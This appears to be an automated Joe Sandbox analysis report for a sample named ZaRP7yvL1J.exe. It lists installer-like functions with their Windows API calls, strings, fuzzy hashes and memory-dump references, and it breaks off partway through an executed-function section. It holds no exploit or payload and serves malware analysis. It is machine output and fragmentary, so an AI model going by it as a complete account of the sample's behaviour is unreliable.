Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_ZaRP7yvL1J.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9bba4744058a5e50eac83d7dc1d5d9cd35691715288ec81bba69fc3da53b26ae
Instruction ID: e26e6fcba72a3eadd72d029608c12cba5996301b9517d6a088ec55ffdeac9eb0
Opcode Fuzzy Hash: 9bba4744058a5e50eac83d7dc1d5d9cd35691715288ec81bba69fc3da53b26ae
Instruction Fuzzy Hash: 5E31AD31A09501DFDB24CF68D9D4C2A77BAFB87324764466AF541871A0C731E87ACF51

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nszB803.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nszB803.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nszB803.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nszB803.tmp$C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll
API String ID: 3109718747-3963267833
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 6F9518D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6F95193A
GlobalFree.KERNEL32(?), ref: 6F951ADA
GlobalFree.KERNEL32(?), ref: 6F951ADF

Memory Dump Source

Source File: 00000000.00000002.2401686688.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2401644043.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401702628.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401785461.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_ZaRP7yvL1J.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 5c7357d8c33c67e0b07ff50df21b06410a9f4aab9787bf9043ae3994a3357235
Instruction ID: 77f958e60baede5161b3ad6efb0895c35c19b1e287786e33df862b710c35a36e
Opcode Fuzzy Hash: 5c7357d8c33c67e0b07ff50df21b06410a9f4aab9787bf9043ae3994a3357235
Instruction Fuzzy Hash: 8051C532D04159AA8B92DFF885809AEB7B9EF47318F00425BD504A72C5D770FEF187A1

Function 6F952394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6F9524D6

Part of subcall function 6F95122C: lstrcpynW.KERNEL32(00000000,?,6F9512DF,00000019,6F9511BE,-000000A0), ref: 6F95123C

GlobalAlloc.KERNEL32(00000040), ref: 6F95245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6F952477

Memory Dump Source

Source File: 00000000.00000002.2401686688.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2401644043.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401702628.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401785461.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_ZaRP7yvL1J.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 10595975908d9a576094c6a43d151b635b51e943e9c84affab615742ec6ee3b7
Instruction ID: e76482ac227ed294d7f83edf771d379d5039e192c0e2ca348063ba9849c198ee
Opcode Fuzzy Hash: 10595975908d9a576094c6a43d151b635b51e943e9c84affab615742ec6ee3b7
Instruction Fuzzy Hash: 1641ADB1048705DFD724DF38D844A6677B8FB9A324F10495EE4468A5C2EB70E4B9CF61

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 6F95161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6F9521EC,?,00000808), ref: 6F951635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,6F9521EC,?,00000808), ref: 6F95163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6F9521EC,?,00000808), ref: 6F951650
GetProcAddress.KERNEL32(6F9521EC,00000000), ref: 6F951657
GlobalFree.KERNEL32(00000000), ref: 6F951660

Memory Dump Source

Source File: 00000000.00000002.2401686688.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2401644043.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401702628.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401785461.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_ZaRP7yvL1J.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 36db92b57ac331ffbbe4d9f51753dea46e2f08125b002d10a75cf7994d8301ac
Instruction ID: e2da7f20898f0c8d85e3465d34ee878703e8a98d2bba4b9cbd381aa8bbd89b7b
Opcode Fuzzy Hash: 36db92b57ac331ffbbe4d9f51753dea46e2f08125b002d10a75cf7994d8301ac
Instruction Fuzzy Hash: C5F0A27210A5387BDA6116BA8C4CC9B7E9CEF8B2F5B110215F6189119085615D35DFF1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,74DF2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,74DF2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,74DF2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,74DF2EE0,00403A1A,74DF3420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 6F9510E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6F95116A
GlobalFree.KERNEL32(00000000), ref: 6F9511C7
GlobalFree.KERNEL32(00000000), ref: 6F9511D9
GlobalFree.KERNEL32(?), ref: 6F951203

Memory Dump Source

Source File: 00000000.00000002.2401686688.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2401644043.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401702628.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401785461.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_ZaRP7yvL1J.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: db605bccde82c181a18ab3ce4115cb407772b6f2dec5a0c45b62e5aec2f3076f
Instruction ID: 7c347349a4b8a5fe30202a3ed7298960599e74766bf7fd84e12e7cf03eedda64
Opcode Fuzzy Hash: db605bccde82c181a18ab3ce4115cb407772b6f2dec5a0c45b62e5aec2f3076f
Instruction Fuzzy Hash: D63192B2508201DFEF20CF7CD945A7677E8EB57328700065AE948D72D1EB75E8B58BA0

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: ZaRP7yvL1J.exePID: 3052, Parent PID: 6908COMMON

Execution Graph

Execution Coverage:	11.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.2%
Total number of Nodes:	271
Total number of Limit Nodes:	17

Executed Functions

Function 000D5F90 Relevance: 6.7, Strings: 5, Instructions: 461
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 000D6260
(o^q, xrefs: 000D6505
